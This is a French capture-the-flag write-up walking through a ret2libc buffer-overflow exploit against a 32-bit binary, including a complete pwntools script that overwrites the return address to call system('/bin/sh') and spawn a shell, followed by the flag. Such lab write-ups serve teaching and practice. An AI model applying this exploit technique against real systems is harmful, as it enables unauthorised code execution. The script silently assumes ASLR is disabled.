// accueil / write-ups / Pwn

Buffer overflow classique → shell, sans canary

Pwn par opscur · 14 min de lecture · 05 mars 2025

Reconnaissance

Le binaire fourni est un ELF 32-bit avec checksec qui révèle : pas de canary, pas de PIE, NX activé. L’absence de canary et de PIE simplifie l’exploitation, mais NX nous empêche d’exécuter du shellcode sur la stack. Direction : ret2libc.

Trouver l’offset

Avec gdb et un pattern cyclique généré par pwntools, on identifie que l’EIP est écrasé après 76 octets.

from pwn import *

elf = ELF('./vuln')
libc = ELF('/lib/i386-linux-gnu/libc.so.6')
p = process('./vuln')

# Adresses nécessaires
system_addr = libc.symbols['system']
exit_addr = libc.symbols['exit']
bin_sh = next(libc.search(b'/bin/sh'))

# Construction du payload
offset = 76
payload = b'A' * offset
payload += p32(system_addr)
payload += p32(exit_addr)
payload += p32(bin_sh)

p.sendline(payload)
p.interactive()

Exploitation

Le payload écrase l’adresse de retour avec l’adresse de system(), place exit() comme adresse de retour de system, et passe /bin/sh comme argument. Résultat : un shell interactif.

Flag : flag{r3t2l1bc_cl4ss1c_but_3ff3ct1v3}

← Tous les write-ups Proposer un write-up